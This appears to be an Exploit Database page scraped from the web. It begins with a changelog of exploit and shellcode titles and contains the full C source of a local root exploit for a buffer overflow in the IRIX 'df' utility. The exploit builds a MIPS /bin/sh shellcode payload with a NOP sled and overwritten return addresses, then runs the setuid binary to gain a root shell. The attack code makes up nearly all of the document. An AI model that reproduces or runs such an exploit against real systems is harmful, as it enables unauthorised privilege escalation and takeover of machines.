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14991 changes to exploits/shellcodes HTC Touch - vCard over IP Denial of Service TeamSpeak 3.0.0-beta25 - Multiple Vulnerabilities PeerBlock 1.1 - Blue Screen of Death WS10 Data Server - SCADA Overflow (PoC) Symantec Endpoint Protection 12.1.4013 - Service Disabling Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow man-db 2.4.1 - 'open_cat_stream()' Local uid=man CDRecord's ReadCD - '$RSH exec()' SUID Shell Creation CDRecord's ReadCD - Local Privilege Escalation Anyburn 4.3 x86 - 'Copy disc to image file' Buffer Overflow (Unicode) (SEH) FreeBSD - Intel SYSRET Privilege Escalation (Metasploit) CCProxy 6.2 - 'ping' Remote Buffer Overflow Savant Web Server 3.1 - Remote Buffer Overflow (2) Litespeed Web Server 4.0.17 with PHP (FreeBSD) - Remote Overflow Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow QNAP TS-431 QTS < 4.2.2 - Remote Command Execution (Metasploit) Imperva SecureSphere 13.x - 'PWS' Command Injection (Metasploit) Drupal < 8.5.11 / < 8.6.10 - RESTful Web Services unserialize() Remote Command Execution (Metasploit) Oracle Weblogic Server - Deserialization Remote Command Execution (Patch Bypass) TeamCity < 9.0.2 - Disabled Registration Bypass OpenSSH SCP Client - Write Arbitrary Files Kados R10 GreenBee - Multiple SQL Injection WordPress Core 5.0 - Remote Code Execution phpBB 3.2.3 - Remote Code Execution Linux/x86 - Create File With Permission 7775 + exit() Shellcode (Generator) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes)
84 lines
No EOL
2.7 KiB
C
84 lines
No EOL
2.7 KiB
C
// source: https://www.securityfocus.com/bid/346/info
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A buffer overflow exists in IRIX 5.x and 6.x 'df' utility, from Silicon Graphics Inc. By supplying a long argument to the -f option of df, a user can crash the df program. By carefully crafting a buffer containing machine executable code, an attacker can run arbitrary commands as root.
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/* /bin/df buffer overflow exploit by DCRH */
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#include <stdio.h>
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#include <stdlib.h>
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#include <string.h>
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#include <sys/types.h>
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#include <unistd.h>
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#define BUF_LENGTH 1504
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#define EXTRA 700
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#define OFFSET 0x200
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#define IRIX_NOP 0x03e0f825 /* move $ra,$ra */
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#define u_long unsigned
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u_long get_sp_code[] = {
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0x03a01025, /* move $v0,$sp */
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0x03e00008, /* jr $ra */
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0x00000000, /* nop */
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};
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u_long irix_shellcode[] = {
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0x24041234, /* li $4,0x1234 */
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0x2084edcc, /* sub $4,0x1234 */
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0x0491fffe, /* bgezal $4,pc-4 */
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0x03bd302a, /* sgt $6,$sp,$sp */
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0x23e4012c, /* addi $4,$31,264+36 */
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0xa086feff, /* sb $6,-264+7($4) */
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0x2084fef8, /* sub $4,264 */
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0x20850110, /* addi $5,$4,264+8 */
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0xaca4fef8, /* sw $4,-264($5) */
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0xaca6fefc, /* sw $4,-260($5) */
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0x20a5fef8, /* sub $5, 264 */
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0x240203f3, /* li $v0,1011 */
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0x03ffffcc, /* syscall 0xfffff */
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0x2f62696e, /* "/bin" */
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0x2f7368ff, /* "/sh" */
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};
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char buf[BUF_LENGTH + EXTRA + 8];
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void main(int argc, char **argv)
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{
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char *env[] = {NULL};
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u_long targ_addr, stack;
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u_long *long_p;
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int i, code_length = strlen((char *)irix_shellcode)+1;
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u_long (*get_sp)(void) = (u_long (*)(void))get_sp_code;
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stack = get_sp();
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long_p =(u_long *) buf;
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targ_addr = stack + OFFSET;
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if (argc > 1)
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targ_addr += atoi(argv[1]) * 4;
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while ((targ_addr & 0xff000000) == 0 ||
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(targ_addr & 0x00ff0000) == 0 ||
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(targ_addr & 0x0000ff00) == 0 ||
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(targ_addr & 0x000000ff) == 0)
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targ_addr += 4;
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for (i = 0; i < (BUF_LENGTH - code_length) / sizeof(u_long); i++)
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*long_p++ = IRIX_NOP;
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for (i = 0; i < code_length/sizeof(u_long); i++)
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*long_p++ = irix_shellcode[i];
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for (i = 0; i < EXTRA / sizeof(u_long); i++)
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*long_p++ = (targ_addr << 16) | (targ_addr >> 16);
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*long_p = 0;
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printf("stack = 0x%x, targ_addr = 0x%x\n", stack, targ_addr);
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execle("/bin/df", "df", &buf[3], 0, env);
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perror("execl failed");
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} |